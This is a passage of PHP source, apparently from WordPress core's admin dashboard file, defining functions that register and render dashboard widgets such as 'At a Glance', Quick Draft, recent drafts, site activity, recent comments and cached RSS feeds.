function wp_add_dashboard_widget( $widget_id, $widget_name, $callback, $control_callback = null, $callback_args = null, $context = 'normal', $priority = 'core' ) {
	global $wp_dashboard_control_callbacks;

	$screen = get_current_screen();

	$private_callback_args = array( '__widget_basename' => $widget_name );

	if ( is_null( $callback_args ) ) {
		$callback_args = $private_callback_args;
	} elseif ( is_array( $callback_args ) ) {
		$callback_args = array_merge( $callback_args, $private_callback_args );
	}

	if ( $control_callback && is_callable( $control_callback ) && current_user_can( 'edit_dashboard' ) ) {
		$wp_dashboard_control_callbacks[ $widget_id ] = $control_callback;

		if ( isset( $_GET['edit'] ) && $widget_id === $_GET['edit'] ) {
			list($url)    = explode( '#', add_query_arg( 'edit', false ), 2 );
			$widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( $url ) . '">' . __( 'Cancel' ) . '</a></span>';
			$callback     = '_wp_dashboard_control_callback';
		} else {
			list($url)    = explode( '#', add_query_arg( 'edit', $widget_id ), 2 );
			$widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( "$url#$widget_id" ) . '" class="edit-box open-box">' . __( 'Configure' ) . '</a></span>';
		}
	}

	$side_widgets = array( 'dashboard_quick_press', 'dashboard_primary' );

	if ( in_array( $widget_id, $side_widgets, true ) ) {
		$context = 'side';
	}

	$high_priority_widgets = array( 'dashboard_browser_nag', 'dashboard_php_nag' );

	if ( in_array( $widget_id, $high_priority_widgets, true ) ) {
		$priority = 'high';
	}

	if ( empty( $context ) ) {
		$context = 'normal';
	}

	if ( empty( $priority ) ) {
		$priority = 'core';
	}

	add_meta_box( $widget_id, $widget_name, $callback, $screen, $context, $priority, $callback_args );
}

/**
 * Outputs controls for the current dashboard widget.
 *
 * @access private
 * @since 2.7.0
 *
 * @param mixed $dashboard
 * @param array $meta_box
 */
function _wp_dashboard_control_callback( $dashboard, $meta_box ) {
	echo '<form method="post" class="dashboard-widget-control-form wp-clearfix">';
	wp_dashboard_trigger_widget_control( $meta_box['id'] );
	wp_nonce_field( 'edit-dashboard-widget_' . $meta_box['id'], 'dashboard-widget-nonce' );
	echo '<input type="hidden" name="widget_id" value="' . esc_attr( $meta_box['id'] ) . '" />';
	submit_button( __( 'Save Changes' ) );
	echo '</form>';
}

/**
 * Displays the dashboard.
 *
 * @since 2.5.0
 */
function wp_dashboard() {
	$screen      = get_current_screen();
	$columns     = absint( $screen->get_columns() );
	$columns_css = '';

	if ( $columns ) {
		$columns_css = " columns-$columns";
	}
	?>
<div id="dashboard-widgets" class="metabox-holder<?php echo $columns_css; ?>">
	<div id="postbox-container-1" class="postbox-container">
	<?php do_meta_boxes( $screen->id, 'normal', '' ); ?>
	</div>
	<div id="postbox-container-2" class="postbox-container">
	<?php do_meta_boxes( $screen->id, 'side', '' ); ?>
	</div>
	<div id="postbox-container-3" class="postbox-container">
	<?php do_meta_boxes( $screen->id, 'column3', '' ); ?>
	</div>
	<div id="postbox-container-4" class="postbox-container">
	<?php do_meta_boxes( $screen->id, 'column4', '' ); ?>
	</div>
</div>

	<?php
	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
	wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
}

//
// Dashboard Widgets.
//

/**
 * Dashboard widget that displays some basic stats about the site.
 *
 * Formerly 'Right Now'. A streamlined 'At a Glance' as of 3.8.
 *
 * @since 2.7.0
 */
function wp_dashboard_right_now() {
	?>
	<div class="main">
	<ul>
	<?php
	// Posts and Pages.
	foreach ( array( 'post', 'page' ) as $post_type ) {
		$num_posts = wp_count_posts( $post_type );

		if ( $num_posts && $num_posts->publish ) {
			if ( 'post' === $post_type ) {
				/* translators: %s: Number of posts. */
				$text = _n( '%s Post', '%s Posts', $num_posts->publish );
			} else {
				/* translators: %s: Number of pages. */
				$text = _n( '%s Page', '%s Pages', $num_posts->publish );
			}

			$text             = sprintf( $text, number_format_i18n( $num_posts->publish ) );
			$post_type_object = get_post_type_object( $post_type );

			if ( $post_type_object && current_user_can( $post_type_object->cap->edit_posts ) ) {
				printf( '<li class="%1$s-count"><a href="edit.php?post_type=%1$s">%2$s</a></li>', $post_type, $text );
			} else {
				printf( '<li class="%1$s-count"><span>%2$s</span></li>', $post_type, $text );
			}
		}
	}

	// Comments.
	$num_comm = wp_count_comments();

	if ( $num_comm && ( $num_comm->approved || $num_comm->moderated ) ) {
		/* translators: %s: Number of comments. */
		$text = sprintf( _n( '%s Comment', '%s Comments', $num_comm->approved ), number_format_i18n( $num_comm->approved ) );
		?>
		<li class="comment-count">
			<a href="edit-comments.php"><?php echo $text; ?></a>
		</li>
		<?php
		$moderated_comments_count_i18n = number_format_i18n( $num_comm->moderated );
		/* translators: %s: Number of comments. */
		$text = sprintf( _n( '%s Comment in moderation', '%s Comments in moderation', $num_comm->moderated ), $moderated_comments_count_i18n );
		?>
		<li class="comment-mod-count<?php echo ! $num_comm->moderated ? ' hidden' : ''; ?>">
			<a href="edit-comments.php?comment_status=moderated" class="comments-in-moderation-text"><?php echo $text; ?></a>
		</li>
		<?php
	}

	/**
	 * Filters the array of extra elements to list in the 'At a Glance'
	 * dashboard widget.
	 *
	 * Prior to 3.8.0, the widget was named 'Right Now'. Each element
	 * is wrapped in list-item tags on output.
	 *
	 * @since 3.8.0
	 *
	 * @param string[] $items Array of extra 'At a Glance' widget items.
	 */
	$elements = apply_filters( 'dashboard_glance_items', array() );

	if ( $elements ) {
		echo '<li>' . implode( "</li>\n<li>", $elements ) . "</li>\n";
	}

	?>
	</ul>
	<?php
	update_right_now_message();

	// Check if search engines are asked not to index this site.
	if ( ! is_network_admin() && ! is_user_admin()
		&& current_user_can( 'manage_options' ) && ! get_option( 'blog_public' )
	) {

		/**
		 * Filters the link title attribute for the 'Search engines discouraged'
		 * message displayed in the 'At a Glance' dashboard widget.
		 *
		 * Prior to 3.8.0, the widget was named 'Right Now'.
		 *
		 * @since 3.0.0
		 * @since 4.5.0 The default for `$title` was updated to an empty string.
		 *
		 * @param string $title Default attribute text.
		 */
		$title = apply_filters( 'privacy_on_link_title', '' );

		/**
		 * Filters the link label for the 'Search engines discouraged' message
		 * displayed in the 'At a Glance' dashboard widget.
		 *
		 * Prior to 3.8.0, the widget was named 'Right Now'.
		 *
		 * @since 3.0.0
		 *
		 * @param string $content Default text.
		 */
		$content = apply_filters( 'privacy_on_link_text', __( 'Search engines discouraged' ) );

		$title_attr = '' === $title ? '' : " title='$title'";

		echo "<p class='search-engines-info'><a href='options-reading.php'$title_attr>$content</a></p>";
	}
	?>
	</div>
	<?php
	/*
	 * activity_box_end has a core action, but only prints content when multisite.
	 * Using an output buffer is the only way to really check if anything's displayed here.
	 */
	ob_start();

	/**
	 * Fires at the end of the 'At a Glance' dashboard widget.
	 *
	 * Prior to 3.8.0, the widget was named 'Right Now'.
	 *
	 * @since 2.5.0
	 */
	do_action( 'rightnow_end' );

	/**
	 * Fires at the end of the 'At a Glance' dashboard widget.
	 *
	 * Prior to 3.8.0, the widget was named 'Right Now'.
	 *
	 * @since 2.0.0
	 */
	do_action( 'activity_box_end' );

	$actions = ob_get_clean();

	if ( ! empty( $actions ) ) :
		?>
	<div class="sub">
		<?php echo $actions; ?>
	</div>
		<?php
	endif;
}

/**
 * @since 3.1.0
 */
function wp_network_dashboard_right_now() {
	$actions = array();

	if ( current_user_can( 'create_sites' ) ) {
		$actions['create-site'] = '<a href="' . network_admin_url( 'site-new.php' ) . '">' . __( 'Create a New Site' ) . '</a>';
	}
	if ( current_user_can( 'create_users' ) ) {
		$actions['create-user'] = '<a href="' . network_admin_url( 'user-new.php' ) . '">' . __( 'Create a New User' ) . '</a>';
	}

	$c_users = get_user_count();
	$c_blogs = get_blog_count();

	/* translators: %s: Number of users on the network. */
	$user_text = sprintf( _n( '%s user', '%s users', $c_users ), number_format_i18n( $c_users ) );
	/* translators: %s: Number of sites on the network. */
	$blog_text = sprintf( _n( '%s site', '%s sites', $c_blogs ), number_format_i18n( $c_blogs ) );

	/* translators: 1: Text indicating the number of sites on the network, 2: Text indicating the number of users on the network. */
	$sentence = sprintf( __( 'You have %1$s and %2$s.' ), $blog_text, $user_text );

	if ( $actions ) {
		echo '<ul class="subsubsub">';
		foreach ( $actions as $class => $action ) {
			$actions[ $class ] = "\t<li class='$class'>$action";
		}
		echo implode( " |</li>\n", $actions ) . "</li>\n";
		echo '</ul>';
	}
	?>
	<br class="clear" />

	<p class="youhave"><?php echo $sentence; ?></p>


	<?php
		/**
		 * Fires in the Network Admin 'Right Now' dashboard widget
		 * just before the user and site search form fields.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmuadminresult' );
	?>

	<form action="<?php echo esc_url( network_admin_url( 'users.php' ) ); ?>" method="get">
		<p>
			<label class="screen-reader-text" for="search-users">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Search Users' );
				?>
			</label>
			<input type="search" name="s" value="" size="30" autocomplete="off" id="search-users" />
			<?php submit_button( __( 'Search Users' ), '', false, false, array( 'id' => 'submit_users' ) ); ?>
		</p>
	</form>

	<form action="<?php echo esc_url( network_admin_url( 'sites.php' ) ); ?>" method="get">
		<p>
			<label class="screen-reader-text" for="search-sites">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Search Sites' );
				?>
			</label>
			<input type="search" name="s" value="" size="30" autocomplete="off" id="search-sites" />
			<?php submit_button( __( 'Search Sites' ), '', false, false, array( 'id' => 'submit_sites' ) ); ?>
		</p>
	</form>
	<?php
	/**
	 * Fires at the end of the 'Right Now' widget in the Network Admin dashboard.
	 *
	 * @since MU (3.0.0)
	 */
	do_action( 'mu_rightnow_end' );

	/**
	 * Fires at the end of the 'Right Now' widget in the Network Admin dashboard.
	 *
	 * @since MU (3.0.0)
	 */
	do_action( 'mu_activity_box_end' );
}

/**
 * Displays the Quick Draft widget.
 *
 * @since 3.8.0
 *
 * @global int $post_ID
 *
 * @param string|false $error_msg Optional. Error message. Default false.
 */
function wp_dashboard_quick_press( $error_msg = false ) {
	global $post_ID;

	if ( ! current_user_can( 'edit_posts' ) ) {
		return;
	}

	// Check if a new auto-draft (= no new post_ID) is needed or if the old can be used.
	$last_post_id = (int) get_user_option( 'dashboard_quick_press_last_post_id' ); // Get the last post_ID.

	if ( $last_post_id ) {
		$post = get_post( $last_post_id );

		if ( empty( $post ) || 'auto-draft' !== $post->post_status ) { // auto-draft doesn't exist anymore.
			$post = get_default_post_to_edit( 'post', true );
			update_user_option( get_current_user_id(), 'dashboard_quick_press_last_post_id', (int) $post->ID ); // Save post_ID.
		} else {
			$post->post_title = ''; // Remove the auto draft title.
		}
	} else {
		$post    = get_default_post_to_edit( 'post', true );
		$user_id = get_current_user_id();

		// Don't create an option if this is a super admin who does not belong to this site.
		if ( in_array( get_current_blog_id(), array_keys( get_blogs_of_user( $user_id ) ), true ) ) {
			update_user_option( $user_id, 'dashboard_quick_press_last_post_id', (int) $post->ID ); // Save post_ID.
		}
	}

	$post_ID = (int) $post->ID;
	?>

	<form name="post" action="<?php echo esc_url( admin_url( 'post.php' ) ); ?>" method="post" id="quick-press" class="initial-form hide-if-no-js">

		<?php
		if ( $error_msg ) {
			wp_admin_notice(
				$error_msg,
				array(
					'additional_classes' => array( 'error' ),
				)
			);
		}
		?>

		<div class="input-text-wrap" id="title-wrap">
			<label for="title">
				<?php
				/** This filter is documented in wp-admin/edit-form-advanced.php */
				echo apply_filters( 'enter_title_here', __( 'Title' ), $post );
				?>
			</label>
			<input type="text" name="post_title" id="title" autocomplete="off" />
		</div>

		<div class="textarea-wrap" id="description-wrap">
			<label for="content"><?php _e( 'Content' ); ?></label>
			<textarea name="content" id="content" placeholder="<?php esc_attr_e( 'What&#8217;s on your mind?' ); ?>" class="mceEditor" rows="3" cols="15" autocomplete="off"></textarea>
		</div>

		<p class="submit">
			<input type="hidden" name="action" id="quickpost-action" value="post-quickdraft-save" />
			<input type="hidden" name="post_ID" value="<?php echo $post_ID; ?>" />
			<input type="hidden" name="post_type" value="post" />
			<?php wp_nonce_field( 'add-post' ); ?>
			<?php submit_button( __( 'Save Draft' ), 'primary', 'save', false, array( 'id' => 'save-post' ) ); ?>
			<br class="clear" />
		</p>

	</form>
	<?php
	wp_dashboard_recent_drafts();
}

/**
 * Show recent drafts of the user on the dashboard.
 *
 * @since 2.7.0
 *
 * @param WP_Post[]|false $drafts Optional. Array of posts to display. Default false.
 */
function wp_dashboard_recent_drafts( $drafts = false ) {
	if ( ! $drafts ) {
		$query_args = array(
			'post_type'      => 'post',
			'post_status'    => 'draft',
			'author'         => get_current_user_id(),
			'posts_per_page' => 4,
			'orderby'        => 'modified',
			'order'          => 'DESC',
		);

		/**
		 * Filters the post query arguments for the 'Recent Drafts' dashboard widget.
		 *
		 * @since 4.4.0
		 *
		 * @param array $query_args The query arguments for the 'Recent Drafts' dashboard widget.
		 */
		$query_args = apply_filters( 'dashboard_recent_drafts_query_args', $query_args );

		$drafts = get_posts( $query_args );
		if ( ! $drafts ) {
			return;
		}
	}

	echo '<div class="drafts">';

	if ( count( $drafts ) > 3 ) {
		printf(
			'<p class="view-all"><a href="%s">%s</a></p>' . "\n",
			esc_url( admin_url( 'edit.php?post_status=draft' ) ),
			__( 'View all drafts' )
		);
	}

	echo '<h2 class="hide-if-no-js">' . __( 'Your Recent Drafts' ) . "</h2>\n";
	echo '<ul>';

	/* translators: Maximum number of words used in a preview of a draft on the dashboard. */
	$draft_length = (int) _x( '10', 'draft_length' );

	$drafts = array_slice( $drafts, 0, 3 );
	foreach ( $drafts as $draft ) {
		$url   = get_edit_post_link( $draft->ID );
		$title = _draft_or_post_title( $draft->ID );

		echo "<li>\n";
		printf(
			'<div class="draft-title"><a href="%s" aria-label="%s">%s</a><time datetime="%s">%s</time></div>',
			esc_url( $url ),
			/* translators: %s: Post title. */
			esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $title ) ),
			esc_html( $title ),
			get_the_time( 'c', $draft ),
			get_the_time( __( 'F j, Y' ), $draft )
		);

		$the_content = wp_trim_words( $draft->post_content, $draft_length );

		if ( $the_content ) {
			echo '<p>' . $the_content . '</p>';
		}
		echo "</li>\n";
	}

	echo "</ul>\n";
	echo '</div>';
}

/**
 * Outputs a row for the Recent Comments widget.
 *
 * @access private
 * @since 2.7.0
 *
 * @global WP_Comment $comment Global comment object.
 *
 * @param WP_Comment $comment   The current comment.
 * @param bool       $show_date Optional. Whether to display the date.
 */
function _wp_dashboard_recent_comments_row( &$comment, $show_date = true ) {
	$GLOBALS['comment'] = clone $comment;

	if ( $comment->comment_post_ID > 0 ) {
		$comment_post_title = _draft_or_post_title( $comment->comment_post_ID );
		$comment_post_url   = get_the_permalink( $comment->comment_post_ID );
		$comment_post_link  = '<a href="' . esc_url( $comment_post_url ) . '">' . $comment_post_title . '</a>';
	} else {
		$comment_post_link = '';
	}

	$actions_string = '';
	if ( current_user_can( 'edit_comment', $comment->comment_ID ) ) {
		// Pre-order it: Approve | Reply | Edit | Spam | Trash.
		$actions = array(
			'approve'   => '',
			'unapprove' => '',
			'reply'     => '',
			'edit'      => '',
			'spam'      => '',
			'trash'     => '',
			'delete'    => '',
			'view'      => '',
		);

		$del_nonce     = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) );
		$approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) );

		$approve_url   = esc_url( "comment.php?action=approvecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" );
		$unapprove_url = esc_url( "comment.php?action=unapprovecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" );
		$spam_url      = esc_url( "comment.php?action=spamcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
		$trash_url     = esc_url( "comment.php?action=trashcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
		$delete_url    = esc_url( "comment.php?action=deletecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );

		$actions['approve'] = sprintf(
			'<a href="%s" data-wp-lists="%s" class="vim-a aria-button-if-js" aria-label="%s">%s</a>',
			$approve_url,
			"dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved",
			esc_attr__( 'Approve this comment' ),
			__( 'Approve' )
		);

		$actions['unapprove'] = sprintf(
			'<a href="%s" data-wp-lists="%s" class="vim-u aria-button-if-js" aria-label="%s">%s</a>',
			$unapprove_url,
			"dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=unapproved",
			esc_attr__( 'Unapprove this comment' ),
			__( 'Unapprove' )
		);

		$actions['edit'] = sprintf(
			'<a href="%s" aria-label="%s">%s</a>',
			"comment.php?action=editcomment&amp;c={$comment->comment_ID}",
			esc_attr__( 'Edit this comment' ),
			__( 'Edit' )
		);

		$actions['reply'] = sprintf(
			'<button type="button" onclick="window.commentReply && commentReply.open(\'%s\',\'%s\');" class="vim-r button-link hide-if-no-js" aria-label="%s">%s</button>',
			$comment->comment_ID,
			$comment->comment_post_ID,
			esc_attr__( 'Reply to this comment' ),
			__( 'Reply' )
		);

		$actions['spam'] = sprintf(
			'<a href="%s" data-wp-lists="%s" class="vim-s vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
			$spam_url,
			"delete:the-comment-list:comment-{$comment->comment_ID}::spam=1",
			esc_attr__( 'Mark this comment as spam' ),
			/* translators: "Mark as spam" link. */
			_x( 'Spam', 'verb' )
		);

		if ( ! EMPTY_TRASH_DAYS ) {
			$actions['delete'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="delete vim-d vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$delete_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}::trash=1",
				esc_attr__( 'Delete this comment permanently' ),
				__( 'Delete Permanently' )
			);
		} else {
			$actions['trash'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="delete vim-d vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$trash_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}::trash=1",
				esc_attr__( 'Move this comment to the Trash' ),
				_x( 'Trash', 'verb' )
			);
		}

		$actions['view'] = sprintf(
			'<a class="comment-link" href="%s" aria-label="%s">%s</a>',
			esc_url( get_comment_link( $comment ) ),
			esc_attr__( 'View this comment' ),
			__( 'View' )
		);

		/**
		 * Filters the action links displayed for each comment in the 'Recent Comments'
		 * dashboard widget.
		 *
		 * @since 2.6.0
		 *
		 * @param string[]   $actions An array of comment actions. Default actions include:
		 *                            'Approve', 'Unapprove', 'Edit', 'Reply', 'Spam',
		 *                            'Delete', and 'Trash'.
		 * @param WP_Comment $comment The comment object.
		 */
		$actions = apply_filters( 'comment_row_actions', array_filter( $actions ), $comment );

		$i = 0;

		foreach ( $actions as $action => $link ) {
			++$i;

			if ( ( ( 'approve' === $action || 'unapprove' === $action ) && 2 === $i )
				|| 1 === $i
			) {
				$separator = '';
			} else {
				$separator = ' | ';
			}

			// Reply and quickedit need a hide-if-no-js span.
			if ( 'reply' === $action || 'quickedit' === $action ) {
				$action .= ' hide-if-no-js';
			}

			if ( 'view' === $action && '1' !== $comment->comment_approved ) {
				$action .= ' hidden';
			}

			$actions_string .= "<span class='$action'>{$separator}{$link}</span>";
		}
	}
	?>

		<li id="comment-<?php echo $comment->comment_ID; ?>" <?php comment_class( array( 'comment-item', wp_get_comment_status( $comment ) ), $comment ); ?>>

			<?php
			$comment_row_class = '';

			if ( get_option( 'show_avatars' ) ) {
				echo get_avatar( $comment, 50, 'mystery' );
				$comment_row_class .= ' has-avatar';
			}
			?>

			<?php if ( ! $comment->comment_type || 'comment' === $comment->comment_type ) : ?>

			<div class="dashboard-comment-wrap has-row-actions <?php echo $comment_row_class; ?>">
			<p class="comment-meta">
				<?php
				// Comments might not have a post they relate to, e.g. programmatically created ones.
				if ( $comment_post_link ) {
					printf(
						/* translators: 1: Comment author, 2: Post link, 3: Notification if the comment is pending. */
						__( 'From %1$s on %2$s %3$s' ),
						'<cite class="comment-author">' . get_comment_author_link( $comment ) . '</cite>',
						$comment_post_link,
						'<span class="approve">' . __( '[Pending]' ) . '</span>'
					);
				} else {
					printf(
						/* translators: 1: Comment author, 2: Notification if the comment is pending. */
						__( 'From %1$s %2$s' ),
						'<cite class="comment-author">' . get_comment_author_link( $comment ) . '</cite>',
						'<span class="approve">' . __( '[Pending]' ) . '</span>'
					);
				}
				?>
			</p>

				<?php
			else :
				switch ( $comment->comment_type ) {
					case 'pingback':
						$type = __( 'Pingback' );
						break;
					case 'trackback':
						$type = __( 'Trackback' );
						break;
					default:
						$type = ucwords( $comment->comment_type );
				}
				$type = esc_html( $type );
				?>
			<div class="dashboard-comment-wrap has-row-actions">
			<p class="comment-meta">
				<?php
				// Pingbacks, Trackbacks or custom comment types might not have a post they relate to, e.g. programmatically created ones.
				if ( $comment_post_link ) {
					printf(
						/* translators: 1: Type of comment, 2: Post link, 3: Notification if the comment is pending. */
						_x( '%1$s on %2$s %3$s', 'dashboard' ),
						"<strong>$type</strong>",
						$comment_post_link,
						'<span class="approve">' . __( '[Pending]' ) . '</span>'
					);
				} else {
					printf(
						/* translators: 1: Type of comment, 2: Notification if the comment is pending. */
						_x( '%1$s %2$s', 'dashboard' ),
						"<strong>$type</strong>",
						'<span class="approve">' . __( '[Pending]' ) . '</span>'
					);
				}
				?>
			</p>
			<p class="comment-author"><?php comment_author_link( $comment ); ?></p>

			<?php endif; // comment_type ?>
			<blockquote><p><?php comment_excerpt( $comment ); ?></p></blockquote>
			<?php if ( $actions_string ) : ?>
			<p class="row-actions"><?php echo $actions_string; ?></p>
			<?php endif; ?>
			</div>
		</li>
	<?php
	$GLOBALS['comment'] = null;
}

/**
 * Outputs the Activity widget.
 *
 * Callback function for {@see 'dashboard_activity'}.
 *
 * @since 3.8.0
 */
function wp_dashboard_site_activity() {

	echo '<div id="activity-widget">';

	$future_posts = wp_dashboard_recent_posts(
		array(
			'max'    => 5,
			'status' => 'future',
			'order'  => 'ASC',
			'title'  => __( 'Publishing Soon' ),
			'id'     => 'future-posts',
		)
	);
	$recent_posts = wp_dashboard_recent_posts(
		array(
			'max'    => 5,
			'status' => 'publish',
			'order'  => 'DESC',
			'title'  => __( 'Recently Published' ),
			'id'     => 'published-posts',
		)
	);

	$recent_comments = wp_dashboard_recent_comments();

	if ( ! $future_posts && ! $recent_posts && ! $recent_comments ) {
		echo '<div class="no-activity">';
		echo '<p>' . __( 'No activity yet!' ) . '</p>';
		echo '</div>';
	}

	echo '</div>';
}

/**
 * Generates Publishing Soon and Recently Published sections.
 *
 * @since 3.8.0
 *
 * @param array $args {
 *     An array of query and display arguments.
 *
 *     @type int    $max     Number of posts to display.
 *     @type string $status  Post status.
 *     @type string $order   Designates ascending ('ASC') or descending ('DESC') order.
 *     @type string $title   Section title.
 *     @type string $id      The container id.
 * }
 * @return bool False if no posts were found. True otherwise.
 */
function wp_dashboard_recent_posts( $args ) {
	$query_args = array(
		'post_type'      => 'post',
		'post_status'    => $args['status'],
		'orderby'        => 'date',
		'order'          => $args['order'],
		'posts_per_page' => (int) $args['max'],
		'no_found_rows'  => true,
		'cache_results'  => true,
		'perm'           => ( 'future' === $args['status'] ) ? 'editable' : 'readable',
	);

	/**
	 * Filters the query arguments used for the Recent Posts widget.
	 *
	 * @since 4.2.0
	 *
	 * @param array $query_args The arguments passed to WP_Query to produce the list of posts.
	 */
	$query_args = apply_filters( 'dashboard_recent_posts_query_args', $query_args );

	$posts = new WP_Query( $query_args );

	if ( $posts->have_posts() ) {

		echo '<div id="' . $args['id'] . '" class="activity-block">';

		echo '<h3>' . $args['title'] . '</h3>';

		echo '<ul>';

		$today    = current_time( 'Y-m-d' );
		$tomorrow = current_datetime()->modify( '+1 day' )->format( 'Y-m-d' );
		$year     = current_time( 'Y' );

		while ( $posts->have_posts() ) {
			$posts->the_post();

			$time = get_the_time( 'U' );

			if ( gmdate( 'Y-m-d', $time ) === $today ) {
				$relative = __( 'Today' );
			} elseif ( gmdate( 'Y-m-d', $time ) === $tomorrow ) {
				$relative = __( 'Tomorrow' );
			} elseif ( gmdate( 'Y', $time ) !== $year ) {
				/* translators: Date and time format for recent posts on the dashboard, from a different calendar year, see https://www.php.net/manual/datetime.format.php */
				$relative = date_i18n( __( 'M jS Y' ), $time );
			} else {
				/* translators: Date and time format for recent posts on the dashboard, see https://www.php.net/manual/datetime.format.php */
				$relative = date_i18n( __( 'M jS' ), $time );
			}

			// Use the post edit link for those who can edit, the permalink otherwise.
			$recent_post_link = current_user_can( 'edit_post', get_the_ID() ) ? get_edit_post_link() : get_permalink();

			$draft_or_post_title = _draft_or_post_title();
			printf(
				'<li><span>%1$s</span> <a href="%2$s" aria-label="%3$s">%4$s</a></li>',
				/* translators: 1: Relative date, 2: Time. */
				sprintf( _x( '%1$s, %2$s', 'dashboard' ), $relative, get_the_time() ),
				$recent_post_link,
				/* translators: %s: Post title. */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $draft_or_post_title ) ),
				$draft_or_post_title
			);
		}

		echo '</ul>';
		echo '</div>';

	} else {
		return false;
	}

	wp_reset_postdata();

	return true;
}

/**
 * Show Comments section.
 *
 * @since 3.8.0
 *
 * @param int $total_items Optional. Number of comments to query. Default 5.
 * @return bool False if no comments were found. True otherwise.
 */
function wp_dashboard_recent_comments( $total_items = 5 ) {
	// Select all comment types and filter out spam later for better query performance.
	$comments = array();

	$comments_query = array(
		'number' => $total_items * 5,
		'offset' => 0,
	);

	if ( ! current_user_can( 'edit_posts' ) ) {
		$comments_query['status'] = 'approve';
	}

	while ( count( $comments ) < $total_items && $possible = get_comments( $comments_query ) ) {
		if ( ! is_array( $possible ) ) {
			break;
		}

		foreach ( $possible as $comment ) {
			if ( ! current_user_can( 'read_post', $comment->comment_post_ID ) ) {
				continue;
			}

			$comments[] = $comment;

			if ( count( $comments ) === $total_items ) {
				break 2;
			}
		}

		$comments_query['offset'] += $comments_query['number'];
		$comments_query['number']  = $total_items * 10;
	}

	if ( $comments ) {
		echo '<div id="latest-comments" class="activity-block table-view-list">';
		echo '<h3>' . __( 'Recent Comments' ) . '</h3>';

		echo '<ul id="the-comment-list" data-wp-lists="list:comment">';
		foreach ( $comments as $comment ) {
			$comment_post = get_post( $comment->comment_post_ID );
			if (
				current_user_can( 'edit_post', $comment->comment_post_ID ) ||
				(
					empty( $comment_post->post_password ) &&
					current_user_can( 'read_post', $comment->comment_post_ID )
				)
			) {
				_wp_dashboard_recent_comments_row( $comment );
			}
		}
		echo '</ul>';

		if ( current_user_can( 'edit_posts' ) ) {
			echo '<h3 class="screen-reader-text">' .
				/* translators: Hidden accessibility text. */
				__( 'View more comments' ) .
			'</h3>';
			_get_list_table( 'WP_Comments_List_Table' )->views();
		}

		wp_comment_reply( -1, false, 'dashboard', false );
		wp_comment_trashnotice();

		echo '</div>';
	} else {
		return false;
	}
	return true;
}

/**
 * Display generic dashboard RSS widget feed.
 *
 * @since 2.5.0
 *
 * @param string $widget_id
 */
function wp_dashboard_rss_output( $widget_id ) {
	$widgets = get_option( 'dashboard_widget_options' );
	echo '<div class="rss-widget">';
	wp_widget_rss_output( $widgets[ $widget_id ] );
	echo '</div>';
}

/**
 * Checks to see if all of the feed url in $check_urls are cached.
 *
 * If $check_urls is empty, look for the rss feed url found in the dashboard
 * widget options of $widget_id. If cached, call $callback, a function that
 * echoes out output for this widget. If not cache, echo a "Loading..." stub
 * which is later replaced by Ajax call (see top of /wp-admin/index.php)
 *
 * @since 2.5.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 *
 * @param string   $widget_id  The widget ID.
 * @param callable $callback   The callback function used to display each feed.
 * @param array    $check_urls RSS feeds.
 * @param mixed    ...$args    Optional additional parameters to pass to the callback function.
 * @return bool True on success, false on failure.
 */
function wp_dashboard_cached_rss_widget( $widget_id, $callback, $check_urls = array(), ...$args ) {
	$doing_ajax = wp_doing_ajax();
	$loading    = '<p class="widget-loading hide-if-no-js">' . __( 'Loading&hellip;' ) . '</p>';
	$loading   .= wp_get_admin_notice(
		__( 'This widget requires JavaScript.' ),
		array(
			'type'               => 'error',
			'additional_classes' => array( 'inline', 'hide-if-js' ),
		)
	);

	if ( empty( $check_urls ) ) {
		$widgets = get_option( 'dashboard_widget_options' );

		if ( empty( $widgets[ $widget_id ]['url'] ) && ! $doing_ajax ) {
			echo $loading;
			return false;
		}

		$check_urls = array( $widgets[ $widget_id ]['url'] );
	}

	$locale    = get_user_locale();
	$cache_key = 'dash_v2_' . md5( $widget_id . '_' . $locale );
	$output    = get_transient( $cache_key );

	if ( false !== $output ) {
		echo $output;
		return true;
	}

	if ( ! $doing_ajax ) {
		echo $loading;
		return false;
	}

	if ( $callback && is_callable( $callback ) ) {
		array_unshift( $args, $widget_id, $check_urls );
		ob_start();
		call_user_func_array( $callback, $args );
		// Default lifetime in cache of 12 hours (same as the feeds).
		set_transient( $cache_key, ob_get_flush(), 12 * HOUR_IN_SECONDS );
	}

	return true;
}

//
// Dashboard Widgets Controls.
//

/**
 * Calls widget control callback.
 *
 * @since 2.5.0
 *
 * @global callable[] $wp_dashboard_control_callbacks
 *
 * @param int|false $widget_control_id Optional. Registered widget ID. Default false.
 */
function wp_dashboard_trigger_widget_control( $widget_control_id = false ) {
	global $wp_dashboard_control_callbacks;

	if ( is_scalar( $widget_control_id ) && $widget_control_id
		&& isset( $wp_dashboard_control_callbacks[ $widget_control_id ] )
		&& is_callable( $wp_dashboard_control_callbacks[ $widget_control_id ] )
	) {
		call_user_func(
			$wp_dashboard_control_callbacks[ $widget_control_id ],
			'',
			array(
				'id'       => $widget_control_id,
